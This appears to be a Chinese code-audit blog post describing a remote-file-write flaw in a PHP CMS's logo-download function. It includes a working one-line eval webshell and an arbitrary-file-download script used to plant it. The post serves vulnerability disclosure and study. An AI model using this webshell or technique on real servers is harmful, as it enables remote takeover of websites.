审计到比较有趣的一个点。

 

1.后台getshell

 

class Flink{

function downlogo($logourl){

$url = parse_url($logourl);

$logoname = str_replace(".","_",$url['host']).".".array_pop(explode(".",basename($logourl)));

$path = PROJECT_PATH."public/uploads/logos/";

if(!file_exists($path)){

mkdir($path);

}

$location = $path.$logoname;

$data = file_get_contents($logourl);

if(strlen($data) > 0){

file_put_contents($location,$data);

return $logoname;

}else{

return false;

 

首先对扩展名没有过滤,然后file_get_contents读取了网页内容,于是我们构造php。代码如下

当时我想到的是下载,我是构造了一个下载成功。

比如我们远程构造任意文件下载,也可读取到文件的内容。

例如。test3.php

<?php

$filename=$_GET['file'];

header("Content-Type: application/force-download");

header("Content-Disposition: attachment; filename=".basename($filename));

readfile($filename);

?>

 

 

test.php

<?php eval($_POST['a']);?>

 

http://127.0.0.1/test/test3.php?file=test.php即可

同样可以构造打印输出,file_get_contents同样可以获取内容

echo '<?php @eval($_POST['a']);?>';

 

即可在目录下生成一句话。

 

相关文章:

  • 2021-08-22
  • 2021-12-17
  • 2022-12-23
  • 2022-12-23
  • 2021-07-31
猜你喜欢
  • 2021-05-24
  • 2021-08-19
  • 2021-11-27
  • 2021-05-01
  • 2021-05-26
  • 2021-12-11
  • 2022-12-23
相关资源
相似解决方案